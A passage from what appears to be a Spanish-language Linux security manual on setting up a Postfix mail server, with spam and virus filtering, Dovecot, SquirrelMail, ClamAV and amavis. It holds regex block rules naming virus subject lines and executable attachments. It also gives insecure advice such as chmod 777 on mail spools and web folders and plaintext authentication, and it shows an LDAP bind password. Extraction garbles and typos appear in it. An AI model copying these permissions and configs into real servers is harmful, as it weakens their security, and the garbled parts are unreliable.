$sa_spam_subject_tag

= 0;
= virus-quarantine;
= spam-quarantine;
= '***SPAM*** ';

Edite el archivo main.cf:


Adicione la siguiente lnea:
content_filter = smtp:127.0.0.1:10024
Se debe reiniciar postfix con el comando /etc/init.d/postfix reload

325

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

11.0

Laboratorio:

Objetivo: Configurar los dominios virtuales de correo


uniandes.edu.co sobre un mismo IP 200.91.221.202.

electrnico: unincca.edu.co, fuac.edu.co y

Prerrequisitos:
 Crear los dominios virtuales en el dns
 Bajar la ultima versin y ponerla en el directorio /tmp
 Cree un usuario por ejemplo col con password sistemas
 Abra dos sesiones una para el usuario root y otra para el usuario col
Paso 1: Entre al sistema con el usuario root y pruebe que el dns resuelva el registro MX y la reversa de cada
dominio:
Consulta del registro MX:
# dig MX unincca.edu.co
# dig MX fuac.edu.co
# dig MX uniandes.edu.co
Debera ver algo como cuando se mira el dominio incovex.com.ve:
; <<>> DiG 9.1.3 <<>> mx incovex.com.ve
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46129
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;incovex.com.ve.

IN

MX

38400

IN

MX

5 sg33.incovex.com.ve.

;; AUTHORITY SECTION:
incovex.com.ve.
38400

IN

NS

sg33.incovex.com.ve.

;; ADDITIONAL SECTION:
sg33.incovex.com.ve.
38400

IN

192.168.1001.254

;; ANSWER SECTION:
incovex.com.ve.

;;
;;
;;
;;

Query time: 1 msec


SERVER: 127.0.0.1#53(127.0.0.1)
WHEN: Fri Jun 18 11:11:13 2004
MSG SIZE rcvd: 83

Consulta de la IP de cada dominio:


# dig A mail.unincca.edu.co
# dig A mail.fuac.edu.co
# dig A mail.uniandes.edu.co

Consulta de la IP REVERSA de cada dominio:


# dig PTR mail.unincca.edu.co
# dig PTR mail.fuac.edu.co
# dig PTR mail.uniandes.edu.co

326

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Paso 2: Instale la ltima versin desde los programas fuentes en la carpeta /tmp:
Cree el usuario postfix que no pertenezca al grupo postfix:
#
#
#
#
#
#
#

groupadd
useradd
cd
tar
cd
make
make install

postdrop
postfix
/tmp
xzvf
postfix-*
postfix*

Asegurese de presionar la tecla Enter en todas las preguntas, a la pregunta de Please specify the group
for mail cual es el grupo responda postdrop.

Paso 3: Edite /etc/postfix/main.cf y modifique las siguientes variables:


inet_interfaces = all
myhostname
= linux.unincca.edu.co
mydomain
= unincca.edu.co
mydestination = $myhostname, $mydomain, localhost, localhost.$mydomain, localhost, unincca.edu.co,
fuac.edu.co, uniandes.edu.co, linux.unincca.edu.co, linux.fuac.edu.co, linux.uniandes.edu.co
myorigin
= $mydomain
Nota: Es importante que el nombre de la mquina y el dominio queden en esta variable o tendr
errores de tipo loop cuando se enven correos entre usuarios del mismo dominio. Para este
ejemplo la maquina se llama Linux.

Paso 4: Habilite el relay para las redes confiables


mynetworks = 127.0.0.1/32, 192.168.100.0/24
Esto permitir que nicamente la maquina 127.0.0.1 y todas las maquinas de la red 192.168.100.x puedan
enviar correo por medio del servidor postfix, cualquier otra direccin ser un intruso tratando de hacer relay,
es decir trantando de usar nuestro servidor para enviar spam
Revise para compatibilidad con Microsoft Exchange 2000 que el protocolo RFC821 no sea estricto pues
Microsoft modifica los encabezados, para ello adicione al final del archivo la variable:
strict_rfc821_envelopes = no

Paso 5: Recompile la base de datos de alias


# newaliases
Este comando recompila la base de datos de alias, si obtiene errores verifique que el archivo aliases este en
el directorio /etc/postfix/aliases con una copia en /etc/aliases

Paso 6: Tamaos de correos


Edite /etc/postfix/main.cf y modifique las siguientes variables:
Habilite el envo de correo de grandes tamaos como por ejemplo 20MB:
message_size_limit = 20000000
Para limitar el tamao del buzn o colocar una cuota para todos los usuarios en disco para un mximo de
50MB modifique la siguiente variable:
mailbox_size_limit = 50000000

327

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Paso 7: Reinicie el servidor postfix


Para apagar el servidor postfix:
# postfix stop
Para arrancar el servidor postfix:
# postfix start
Nota: Si obtiene errores un buen lugar para buscarlos es en las bitacoras /var/log/messages,
/var/log/mail o finalmente en /var/log/maillog

Paso 8: Enve un correo desde el usuario root a cualquier usuario de su predileccin para este laboratorio se
creo el usuario col con el comando useradd m col y se le puso password sistemas con el comando passwd
col en los prerrequisitos al principio del laboratorio:
# mail col
Subject: Prueba desde root para col
Esta es una prueba.
Chao. Te escribe este correo tu amigo root
Ctrl. D

Ahora pase a la sesin del usuario col en otra Terminal y verifique que estn saliendo correos.
Otra alternativa es en la misma sesin del usuario root cambiarse a la sesin del usuario col as:
# su col
# mail
Esto deber permitirle leer correos del usuario

Cuestionamientos:

Que pasara si olvidamos la lnea mydestination?

Que pasara si en vez de leer y enviar correos con el comando mail del servidor local lo
hiciramos desde el cliente Outlook en la red local?

Que pasara si en vez de enviar correos con el comando mail del servidor local lo hiciramos
desde otro PC en una red local diferente al segmento del servidor?

Cundo debo mirar los logs del sistema /var/log/mail, /var/log/maillog y /var/log/messages ?

328

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

12.0

Filtro de contenido

SPAM es el correo electrnico comercial no solicitado, tambin se le denomina Anti-UCE, Postfix puede filtrar
los correos por el encabezado, por el cuerpo del correo o por el nombre del servidor de correos y hasta por
la direccin IP.
El filtro se hace basado en expresiones regulares.
12.1

Pasos para activar el filtro de contenido por encabezado

Edite el archivo /etc/postfix/main.cf


Adicione el parmetro header_checks = regexp:/etc/postfix/header_checks
# touch /etc/postfix/header_checks
# /etc/init.d/postfix reload
Edite el archivo /etc/postfix/header_checks y asegurase que contenga una lnea por cada filtro a ser
denegado, por ejemplo:

/^Subject: I Love You/ REJECT


/^Subject: our private photos/ REJECT No moleste aca no aceptamos virus
/^From: .*ventas@soft-pos.com/ REJECT
/^From: .*spammers.com/ REJECT
/^From: .*WPalacios@linalca.com/ REJECT
/^From: .*ofiprensa@macropro.com.mx/ REJECT
/^From: .*raton@htech.com.mx/ REJECT
/^From: .*andresmachado@hotmail.com/ REJECT
/^From: .*newsletter@multitel.com.co/ REJECT
/^From: .*musicmatch.com.co/ REJECT
/^From: .*itsitio.com.co/ REJECT
/^From: .*economiaenred.com/ REJECT

En la primera lnea del archivo arriba mostrado estamos denegando los correos que en el subject
incluyan la cadena I Love You. Recordemos que esta cadena era un virus que atacaba a Microsoft. Es
importante notar el espacio despus de los dos puntos en la cadena Subject: y antes de la instruccin
REJECT.
La lnea nmero 3 prohbe los correos que vengan de cualquier usuario que tenga como parte de su
nombre la palabra ventas por lo tanto los caracteres .* a la izquierda de ventas permite detectar ese
correo no deseado.

Revise que el dueo del archivo sea el usuario postfix con el comando:
# chown postfix header_checks
Reinicie el servidor postfix con el siguiente comando:
# postfix reload
Pruebe enviando un correo a otro usuario con la cadena I Love You, el filtro revisar en forma automtica
minsculas y maysculas.

12.2

Pasos para el Filtro por tipos de archivos adjuntos

Edite el archivo /etc/postfix/main.cf y adicione la siguiente lnea en el prrafo body_checks


body_checks = regexp:/etc/postfix/body_checks
Cree un archivo /etc/postfix/body_checks
# touch /etc/postfix/body_checks
Debe contener una lnea por cada filtro a ser denegado, por ejemplo para prohibir archivos adjuntos de
extensin exe o com, u otros, la regla sera:
/.*\.(lnk|com|vbs|vbe|js|jse|exe|bat|vxd|shm|dll).*/
archivos con estas extensiones!
Reinicie el servidor postfix con el siguiente comando:
# postfix reload

329

REJECT

no

se

permite

adjuntar

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

12.3

Pasos para el Filtro por servidor e IP

Un sitio interesante para saber si la IP Pblica esta en listas negras es el siguiente:


http://www.dnsbl.info

El parmetro smtp_client_restrictions permite filtrar servidores open relays, permite conectarse en lnea a
servidores RBL o real time black hole list para verificar que el correo entrante no provenga de un servidor de
spam:
mail.abuse.org:
sbl.spamhaus.org:
bl.spamcop.net:

Este es un servicio RBL por subscripcin que tiene costo.


Es un servicio sin costo y reciben donaciones
Es un servicio sin costo y reciben donaciones

Si usted sospecha que su servidor esta en una lista negra por favor revise las siguientes lneas con un
explorador web:
http://cbl.abuseat.org/lookup.cgi
http://www.spamhaus.org/sbl/index.lasso
http://www.us.sorbs.net/lookup.shtml
http://www.dnsstuff.com
http://www.moensted.dk/spam/
http://www.uceprotect.net/en/rblcheck.php
Parmetros de smtp_client_restrictions:
Parmetro
reject_unknown_client

Significado
Rechaza la conexin si el IP no tiene Reversa en el DNS. No se
recomienda activar esta opcin por que la mayora de dominios
no tienen la reversa creada por desconocimiento de redes

permit_mynetworks

Permite la conexin si el IP del cliente est en la variable


mynetworks. Siempre debe estar activada

reject_rbl_client <domain.tld>

Rechaza la conexin si el cliente tiene un IP registrado en el


dominio domain.tld. Siempre debe estar activada

El archivo /etc/postfix/main.cf se ver as:


smtpd_client_restrictions=

12.4

hash:/etc/postfix/badclients, \
reject_rbl_client sbl.spamhaus.org, \
reject_rbl_client bl.spamcop.net, \
permit_mynetworks

Listas negras

Creacin del archivo /etc/postfix/badclients


# touch /etc/postfix/badclients, este deber contener las siguientes entradas:
wonderfulspam.com
550 BAD spammers
badhost.isp.net 550 you host has been caught spamming
192.168.100.20 550 Stop spamming
Ahora sincronice la base de datos:
# postmap /etc/postfix/badclients
# /etc/init.d/postfix reload

330

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

En el directorio /var/log/mail encontrar mensajes respecto de cada mail que enva el servidor.
En el directorio /var/spool/mail se encuentran los buzones de los correos que le llegan a cada usuario del
sistema.
Para ms informacin consultar: http://www.postfix.org/uce.html

La opcin Transport Mapping permite asignar a cada dominio un mtodo de entrega de correos.

13.0

Para habilitar la compatibilidad con LDAP:

domain_in_alias = yes
ldapsource_search_base = ou=SCOoffice Server,dc=my-domain,dc=com
ldapsource_bind = yes
ldapsource_bind_dn = uid=msguser,ou=SCOoffice Server,dc=my-domain,dc=com
ldapsource_bind_pw = YTXUrMw0r2LdaY48p+07rQ
ldapsource_query_filter
=
(&(|(objectclass=msgUser)(objectclass=msgGroup))(|(mail=%s)(|(lacositaricaMsgAlternateAddress=%s)(lac
ositaricaMsgDrop=%s))))
ldapsource_result_attribute
=
lacositaricaMsgDrop,
lacositaricaMsgForwardingAddress,
lacositaricaMsgMgrpRFC822Member, lacositaricaMsgMgrpDeliveryFile, lacositaricaMsgMgrpDeliveryProgram
ldapsource_special_result_attribute = member, lacositaricaMsgMgrpDeliverTo
ldapsource_timeout = 60
ldapsource_scope = sub
Para que los correos del usuario linux root se reenven al usuario LDAP admin haga los siguientes
cambios:
Inserte un signo comentario # al inicio de la variable: fallback_transport=cyrus
Modifique la lnea para que luzca as: mailbox_transport=cyrus
Modifique la lnea: alias_maps=ldap:ldapsource, hash:/etc/postfix/aliases

331

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

14.0

Para averiguar si nuestro servidor de correos esta en listas negras

En este sitio listan todos los sitios en los que su IP esta reportada.
http://www.dnsstuff.com/tools/ip4r.ch?ip=1.2.3.4
Lo ms importante es solucionar los problemas que tenga su servidor de correo, pues con cambiar la IP no
es suficiente ya que si no soluciona los problemas en menos de 24 otra vez estar en las listas negras.
Es importante configurar las cuentas de postmaster y abuse adems que la reversa de su direccin IP
este bien ya que la mayora de listas envan las instrucciones para salir de la lista a postmaster@ip_reverse
y a abuse@ip_reverse.

332

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

15.0

Laboratorio:

Objetivo:

Configurar el filtro de contenido por expresiones regulares postfix

Leer y enviar correos por medio de clientes como Outlook o Kmail


Prerrequisitos:

Crear los dominios virtuales en el dns.

Configurar postfix para envo y recepcin de correos.

Configurar el servidor POP3 e IMAP


Paso 1: Configurar el servidor POP/IMAP dovecot 1.x
Baje este software del sitio www.dovecot.org y pngalo en la carpeta /tmp:
#
#
#
#
#

tar xzvf dovecot*


cd dovecot*
./configure --with-pam
make
make install

Cree un usuario dovecot con el comando:


# useradd dovecot
Cambie los permisos de las siguientes carpetas:
# chmod 742 /usr/local/var/run/dovecot/login
# chmod 777 /var/spool/mail
Edite el archivo de configuracin /usr/local/etc/dovecot.conf y adicione las siguientes variables:
Protocols = imap imaps pop3 pop3s
pop3_uidl_format = %08Xu%08Xv
disable_plaintext_auth = no
mail_location = mbox:~/:INBOX=/var/mail/%u
Verifique que exista el archivo /etc/pam.d/dovecot
auth required
account required

pam_unix.so
pam_unix.so

Para iniciar el servicio ejecute /usr/local/sbin/dovecot


Si hay problemas lea el archivo /var/log/maillog o /var/log/mail.

Paso 2: Configurar el filtro de contenido por encabezado


Edite el archivo de configuracin postfix /etc/postfix/main.cf :
Adicione el parmetro header_checks = regexp:/etc/postfix/header_checks
Salga del archivo y cree el archivo header_checks para los filtros:
# touch /etc/postfix/header_checks
# chown postfix /etc/postfix/header_checks
Edite el archivo /etc/postfix/header_checks y asegurase que contenga una lnea por cada filtro a ser
denegado, por ejemplo:
/^Subject:
/^Subject:
/^Subject:
/^Subject:

I Love You/ REJECT No moleste aca no aceptamos virus.


"Honey, I Fired the Boss"!/ REJECT No moleste aca no aceptamos virus.
That movie/ REJECT No moleste aca no aceptamos virus.
Your password!/ REJECT No moleste aca no aceptamos virus.

333

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

/^Subject: NUEVAS FOTOS DE FAMILIA/ REJECT No moleste aca no aceptamos virus.


/^Subject: La vida es bella.pps/ REJECT No moleste aca no aceptamos virus.
/^Subject: .*xxxxx.*/ REJECT No molestar. - Don't disturb.
/^Subject: .*XXXXX.*/ REJECT No molestar. - Don't disturb.
/^Subject: SMILE/ REJECT No moleste aca no aceptamos virus.
/^Subject: Here is that sample/ REJECT No moleste aca no aceptamos virus.
/^Subject: freier Raum/ REJECT No moleste aca no aceptamos virus.
/^Subject: The Garden of Eden/ REJECT Do not disturb.
/^Subject: Estudio/ REJECT No moleste aca no aceptamos virus.
/^from: .*240483@yahoo.com/ REJECT
/^from: .*gobiz*@hotmail.com/ REJECT
/^from: .*janneth*@hotmail.com/ REJECT
/^from: .*240*@yahoo.com/ REJECT
/^from: .*240*@excite.com/ REJECT
/^from: .*hertzcorp@colomsat.net.co/ REJECT
/^from: .*ventas@soft-pos.com/ REJECT
/^from: .*WPalacios@linalca.com/ REJECT
/^from: .*ofiprensa@macropro.com.mx/ REJECT
/^from: .*raton@htech.com.mx/ REJECT
/^from: .*andresmachado@hotmail.com/ REJECT !!Correo Rechazado por Virus :-(
/^from: .*newsletter@multitel.com.co/ REJECT
/^from: .*musicmatch.com.co/ REJECT
/^from: .*itsitio.com.co/ REJECT
/^from: .*economiaenred.com/ REJECT
/^from: .*lorena@utic.edu.py/ REJECT
/^from: .*conalsebo@city.net.co/ REJECT
/^from: .*mlineros@itmedia-america.com/ REJECT
/^from: .*fredd*@gye.satnet.net/ REJECT !! Su maquina tiene virus!!.
/^from: .*hfgh*@usa.net/ REJECT No, Thank you !!
/^from: .*big*@boss.com/ REJECT No, Thank you !!
/^from: .*gtres*@192.168.100.247.com/ REJECT No, Thank you !!
/^from: .*isudmeop*@hotmail.com/ REJECT No, Thank you !!
/^from: .*@paypal.com/ REJECT No try !!
Salga del archivo y recargue postfix
# postfix reload
Trate de enviar correos con el subject: I Love You.

Paso 3: Configurar el filtro por archivos adjuntos:


Edite el archivo de configuracin postfix /etc/postfix/main.cf :
Adicione el parmetro body_checks = regexp:/etc/postfix/body_checks
Salga del archivo y cree el archivo body_checks para los filtros:
# touch /etc/postfix/body_checks
# chown postfix /etc/postfix/body_checks
Cree un archivo /etc/postfix/body_checks que contenga una lnea por cada filtro a ser denegado, por
ejemplo para prohibir archivos adjuntos la regla sera:
/.*\.(lnk|com|vbs|vbe|js|jse|exe|bat|vxd|shm|dll).*/
archivos con esas extensiones!
Reinicie el servidor postfix con el siguiente comando:
# postfix reload
Trate de enviar correos con archivos adjuntos de extensin exe

Paso 4: Configurar el filtro para IP Open Relays o spammers

334

REJECT \ No se permiten adjuntar

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Edite el archivo de configuracin postfix /etc/postfix/main.cf :


Adicione el parmetro smtpd_client_restrictions=
hash:/etc/postfix/badclients_checks, \
eject_rbl_client relays.ordb.org, \
permit_mynetworks
Salga del archivo main.cf y cree el archivo badclients_checks para los filtros:
# touch /etc/postfix/badclients_checks, este deber contener las siguientes entradas:
wonderfulspam.com
badhost.isp.net
192.168.100.20

550 BAD spammers


550 you host has been caught spamming
550 Stop spamming

Compile la base de datos badclients_checks:


# postmap /etc/postfix/badclients_checks
# /etc/init.d/postfix reload

Cuestionamientos:

Que pasara si olvidamos la lnea postmap /etc/postfix/badclients_checks?


Podramos filtrar los correos en forma automtica contra todos los sitios de RBLS?
Podramos filtrar los correos en forma automtica contra una base de datos de categoras?

335

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

16.0

Laboratorio:

Objetivo:

Configurar el webmail sobre el servidor web Apache para leer correos


Prerrequisitos:

Configurar postfix para envo y recepcin de correos.

Servicio POP3/IMAP
Paso 1: Instalacin de PHP
Para obtener la ltima versin de PHP vaya al sitio http://www.php.net, descrguelo en el directorio /tmp,
descomprmalo, entre a la carpeta php y ejecute los siguientes comandos:
#. /configure

--with-apxs2=/usr/local/apache2/bin/apxs

La opcin with-apxs=/usr/local/apache2/bin/apxs, le indica a PHP que el Apache es la versin 2.0.x


Compila los programas fuentes a objetos

# make
Para instalar los programas ejecutables

# make install
Copie el archivo php.ini-dist hacia el directorio /usr/local/lib/php.ini de su sistema operativo.
Para indicarle al explorador web que hacer cuando el usuario digite alguna pagina con la extensin .php
adicione al archivo /usr/local/apache2/conf/httpd.conf las siguientes lneas:
LoadModule php5_module modules/libphp5.so
Este paso lo hace el instalador de PHP
AddType application/x-httpd-php .php
Este paso debe hacerse manualmente.
nicamente en Linux Fedora cambie los permisos del archivo libphp5.so con el comando:
# chcon -t texrel_shlib_t /usr/local/apache2/modules/libphp5.so
Ahora reinicie Apache con el comando /usr/local/apache2/bin/apachectl restart

Paso 2: Bajar el software SQUIRRELMAIL


Un webmail reconocido es squirrelmail, el
www.squirrelmail.org. Bjelo a la carpeta /tmp

sitio

# cd /tmp
# tar -xjvf squirrelmail*
# mv squirrelmail* correo

Paso 3: Mover la carpeta correo al servidor web


Para la versin de apache 1.x en SUSE:
# mv correo /srv/www/htdocs
# chown R wwwrun:nobody /srv/www/htdocs/correo
# cd /srv/www/htdocs/correo

Para la versin de apache 2.x:

336

para

buscar

actualizaciones

del

software

es

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

# mv correo /usr/local/apache2/htdocs
# chown R nobody:nobody /usr/local/apache2/htdocs/correo
# cd /usr/local/apache2/htdocs/correo
Para la versin de apache 2.x en REDHAT:
# mv correo /var/wwwl/html
# chown R nobody:nobody /var/www/html/correo
# cd /var/www/html

Paso 4: Configure el webmail

# cd /usr/local/apache2/htdocs/correo
# ./configure
En la opcin 1 Organization Preferentes, seleccione organization name y cambie este campo al
nombre de su empresa.
Cambie la opcin 10 por es_ES para idioma espaol y Default Charset iso-8859-1
R para retornar.
Tome la opcin 2: Server Settings
En la opcin 1 cambie este campo por el nombre de su dominio.
R para retornar.
Tome la opcin 8: Plugins
Ahora seleccione todos los plugis.

Paso 5: Configure apache


Edite el archivo httpd.conf y adicione a la variable DirectoryIndex los nombres que apache debe interpretar
como paginas web por defecto: index.htm index.php

Paso 6: Permisos para que los usuarios creen preferencias


En el primer intento de login es comn que aparezca el error:
Error abriendo ../data/default_pref para eliminar este impase digite:
# chmod R 777 /var/www/html/correo
Si hay problemas al visualizer la pagina de bienvenida:
a) Verifique la variable short_open_tag=on en el archivo /usr/lib/php.ini
b) Descargue la ultima version y su ultimo suplemento a la fecha
Pruebe leyendo correos en su browser digitando el url http://mydirecciondelservidor/correo

337

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

17.0

Laboratorio:

Objetivo:

Configurar el antivirus CLAMAV para el servidor de correos postfix


Prerrequisitos:

Configurar postfix para envo y recepcin de correos.

Configurar un servidor POP/IMAP

Esta opcin solo aplica si el amavis esta filtrando

Paso 1: Bajar el software antivirus

Baje del sitio www.clamav.net los programas fuentes para la instalacin sobre el sistema operativo
linux/Unix, se recomienda realizar esta tarea en el directorio temporal /tmp
# tar xmzvf clamav-0.80.tar.gz
cd /tmp/clamav-0.80

Paso 2:

Cree un usuario de nombre clamav y grupo clamav


Para crear el grupo digite:
# groupadd clamav
Para crear el usuario digite:
# useradd c ClamAV User d /home/clamav g clamav clamav m

Paso 3: Configure y compile

# ./configure
Este paso prepara un archivo denominado makefile para compilar los programas
# make
Este paso genera los archivos ejecutables
# make install
Esto instala en el directorio /usr/local/bin

Paso 4: Afine el antivirus

Edite el archivo /usr/local/etc/clamd.conf


Ponga el signo comentarios antes de la palabra Example
Quite el signo comentarios de la palabra ScanMail
Actualice las siguientes variables:
MaxConnectionQueuelenght 30
LogFile /var/log/clamd.log
LogTime yes
StreamMaxLenght 20M
MaxThreads 20
MaxDirectoryRecursion 20
ScanArchive yes
ArchiveMaxFileSize 20MB
ArchiveMaxFiles 1500
ArchiveMaxCompressionRatio 300

Paso 5: Afine la actualizacin

En

el archivo /usr/local/etc/freshclam.conf
Poner comentario en la palabra Example
UpdateLogFile /var/log/freshclam.log
DatabaseMirror database.clamav.net
MaxAttempts 5
Checks 24
Para actualizar los archivos del antivirus digite /usr/local/bin/freshclam
Note que este servidor debe tener acceso a Internet para que este paso funcione
Haga la prueba haciendo scan a un virus de prueba como EICAR.COM

338

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Si existe un proxy para acceder a internet configure el archivo freshclam.conf de la siguiente forma:

Para hacer bsqueda de virus se debe utilizar el comando:

# clamscan r /directorio
Nota: Para hacer interfaces entre postfix y el antivirus use amavis.

18.0

Configuracion granular del filtro amavis

Nota: Se deben tener como mnimo las versiones que en este manual se indican o de preferencia las ultimas
versiones que se encuentren en Internet.
No instale componentes en forma individual, se deben instalar las ultimas versiones de los programas que la
gua propone en conjunto.

Prerrequisitos

Servidor de correos Linux Postfix versin 2.0.1 o superior.


Digite postconf mail_version en la lnea de comando para ver la versin de postifix que tiene
instalado actualmente.
Postfix debe estar instalando y funcionando adecuadamente antes de instalar AMAVIS-NEW.
Verificar que exista perl ultima versin: Digite perl v en la lnea de comando para ver la versin
actual. Es altamente recomendable utilizar perl 5.8.8 o superior.
Para actualizar el PERL descrguelo del sitio http://www.perl.org al directorio /tmp, descomprmalo
con el comando tar xvzf perl-xxxx.tar.z posicionado en el directorio /tmp
Cmbiese al directorio /tmp/perl xxxx
sh Config
Compile con make, revise que no hayan errores
Prueba con make test, revise que no hayan errores
Instale con el comando make # cpan -i, revise que no hayan errores

Instalacin de los mdulos de PERL requeridos


Los mdulos PERL pueden descargarse de http://search.cpan.org/ y se pueden instalar manualmente pero
esta tarea llevara mucho tiempo, se recomienda depositarlos en el directorio /tmp, por ejemplo para instalar
el modulo Net::LDAP:
#
#
#
#
#
#

cd /tmp
tar xvzf /tmp/perl-ldap-0.3202.tar.gz
cd perl-ldap*
perl Makefile.PL
make
make test

339

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

# make # cpan -i

ALTERNATIVA DE INSTALACIN AUTOMTICA


La otra alternativa es descargar todo desde Internet, el mdulo CPAN debe estr configurado, ste puede
bajar y configurar automticamente la ltima versin de los mdulos anteriores, es el mtodo recomendado
para instalaciones en produccin.
Nota: Para REDHAT y FEDORA edite el archivo /etc/sysconfig/i18n y cambie la variable LANG=es.coAU.TF8 como LANG=en_US.
Reinicie el sistema y use el siguiente comando:
Responder a todo con la tecla <Enter>, luego debe elegir el continente, el pas y los sitios ftp para la
descarga, si puede seleccionarlos todos aun mejor.
# cpan i Bundle::CPAN
#
#
#
#
#
#

cpan
cpan
cpan
cpan
cpan
cpan

i IO::Compress:Bzip2
-i IO::Zlib
-i IO::String
-i IO::Stringy
-i IO::Socket
-i IO::Socket::SSL

# cpan -i File:Which
# cpan -i Archive::Tar
# cpan -i Archive::Zip
# cpan -i MIME:Body
# cpan -i MIME::Base64
# cpan -i MIME::Parser
# cpan -i Mail::Internet
# cpan -i Convert::TNEF
# cpan -i Convert::UUlib
Direccin de correo a ser usada para enviar reportes sobre problemas con los correos, se recomienda usar el
alias: postmaster@eldominiodesuempresa.com
#
#
#
#

cpan
cpan
cpan
cpan

-i
-i
-i
-i

Net::Server
Net::SMTP
Net::DNS
Net::LDAP

# cpan -i Digest::MD5
# cpan -i Digest::SHA
#
#
#
#

cpan
cpan
cpan
cpan

-i
-i
-i
-i

Time::HiRes
Unix::Syslog
BerkeleyDB
DB_File

# cpan -i HTML::Tagset
# cpan -i HTML::Parser
# cpan -i HTTP::Date
# cpan -i IP::Country
# cpan -i DBI
# cpan -i LWP::UserAgent
# cpan -i Convert::ASN1
# cpan -i Authen::SASL

340

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

# cpan -i XML::SAX::Base
# cpan -i Mail::SPF::Query
# cpan -i Mail::SpamAssassin
Nota: Los pasos DNS y SpamAssassin son los ms demorados por las bases de datos que se deben
descargar.
Existe otra opcin para bajar los mdulos:
# perl -MCPAN -e shell o conf prerequisites_policy ask (responda a todo yes)
install IO::Zlib
...
O conf commit

INSTALACION DEL GATEWAY MTA AMAVIS


Descargue y descomprima con tar zvxf amavis* la ultima versin de amavis a la carpeta /tmp, el sitio web
para descargar el software es http://www.amavis.org.
Crear la cuenta del usuario amavis

groupadd amavis
useradd m d /var/amavis g amavis amavis
Cree los siguientes directorios as:

# mkdir p /var/amavis/tmp

# mkdir p /var/amavis/var

# mkdir p /var/amavis/db

# mkdir p /var/amavis/home
Cambie los permisos para la carpeta /var/amavis

# chown R amavis:amavis /var/amavis

# chmod R 750 /var/amavis


Copiar ejecutables a:

# cp /tmp/amavis-new-2.4.4/amavisd
/usr/local/sbin
cambie permisos al archivo

# chown root /usr/local/sbin/amavisd

# chmod 755 /usr/local/sbin/amavisd


Copiar archivo de configuracin si este no existe previamente:

# cp /tmp/amavis-new-2.4.4/amavisd.conf /etc/amavisd.conf
Cambie permisos de archivo

# chown root /etc/amavisd.conf

# chmod 644 /etc/amavisd.conf


Crear directorio de trabajo

# mkdir /var/virusmails

# chown amavis:amavis /var/virusmails

# chmod 750 /var/virusmails


Edite el archivo /etc/amavisd.conf

La variable $mydomain debe ser igual al dominio de su compaa

La variable $myhostname debe ser igual al nombre del equipo, en formato FQDN.

Revisar la variable $daemon_user = amavis y $daemon_group = amavis

$MYHOME=/var/amavis

$TEMPBASE=$MYHOME/tmp

$db_home=$MYHOME/db

$QUARANTINEDIR =/var/virusmails

Revise $inet_socket_port = 10024, por este puerto se recibir el correo de postfix para ser
filtrado

Descomentar las siguientes variables para que el MTA POSTFIX le enve los correos a
Amavis para filtrarlos y amavis a su vez los entregue por el puerto 10025, las variables
son:

$forward_method = 'smtp:[127.0.0.1]:10025'

$notify_method = $forward_method;

En la seccin de antivirus marcada con @av_scanners, habilite nicamente los antivirus a


trabajar, para este caso se habilito nicamente Clamav, es recomendable que este
asignado al primer parrafo y no al de backup.

341

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Para evitar que los virus y los spam lleguen a los usuarios pero una copia este en
cuarentena, se deben activar las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_DISCARD;
$final_bad_header_destiny
= D_PASS;
Donde:
D_DISCARD har que los correos se descarten pero la opcin D_PASS los dejara pasar
hasta el usuario y a su vez sern marcados.
Para permitir que los virus y los spam estn en cuarentena pero que llegue al usuario un
mensaje de aviso entonces habilite:
$warnvirusrecip
$virus_quarantine_to
$spam_quarantine_to

= 1;
= virus-quarantine;
= spam-quarantine;

Nota:
Para crear una lista blanca de dominios de confianza que adems acepten spam se deben activar las
siguientes variables:
@whitelist_sender_acl = qw(
.bancodebogota.com.co .bancosuperior.com.co .gasan.com.co .norgas.com.co .confedegas.org.co
.cinsa.com.co .humanos.com.co .asogas.com.co .mvaonline.com.co .gasesdeantioquia.com.co
.colgasdeoccidente.com.co .alcanos.com.co .incovex.com.ve .incovex.com.co .dane.gov.co .orozcopardo.com
.panalpina.com .ccb.org.co
);
Esta exception o lista blanca permite spam pero no permite virus de esos dominios.
No se debe usar la variable @bypass_spam_checks_acl = qw pues el sistema aceptara spam de cualquier
dominio
El servicio Amavis no se inicia automticamente, se debe crear el script de arranque llamando al comando
/usr/local/sbin/amavisd

Editar los archivos principales de postfix


Activacin del filtro Amavis desde el mta postfix:
Edite el archivo main.cf: y Adicione las siguientes lneas:
content_filter = smtp-amavis:[127.0.0.1]:10024

Edite el archivo master.cf:


Agregue la siguiente lnea.
smtp-amavis
unix - n
3
smtp
-o smtp_data_done_timeout=1200
-o disable_dns_lookups=yes
127.0.0.1:10025 inet n n
smtpd
-o content_filter=
-o local_recipient_maps=
-o relay_recipient_maps=
-o smtpd_restrictions_classes=
-o smtpd_client_restrictions=
-o smtpd_helo_restrictions=
-o smtpd_sender_restrictions=
-o smtpd_recipient_restrictions=permit_mynetworks, reject_unauth_destination
-o mynetworks=127.0.0.0/8

342

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

-o strict_rfc821_envelopes=yes
Nota: Debe observarse la columna 7 de la lnea smtp-amavis que es igual a 3, es decir mximo permite 3
procesos para el envo de correos, esta columna del archivo/fichero master.cf debe ser igual a la variable
$max_servers del archivo amavisd.conf, si se desea mayor velocidad de proceso se debe incrementar en 3
en forma sucesiva hasta alcanzar la cantidad de hardware disponible en el sistema.

Reinicie el servidor con el comando:


# postfix reload
